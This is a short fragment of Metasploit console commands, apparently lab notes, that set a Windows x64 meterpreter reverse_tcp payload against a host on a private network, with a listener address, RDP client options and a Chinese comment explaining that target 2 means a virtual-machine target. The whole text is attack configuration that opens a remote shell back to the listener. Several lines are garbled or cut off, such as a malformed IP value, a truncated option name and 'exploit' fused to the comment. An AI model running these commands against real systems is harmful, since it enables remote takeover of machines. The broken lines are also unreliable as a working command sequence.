set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.93.20
set lhost 192.168.93.128
set rdp_client_ip 192.168.93.20un
set RDP_CLIENT_NAM
set target 2 # 这里的 2 代表目标机为虚拟机环境exploit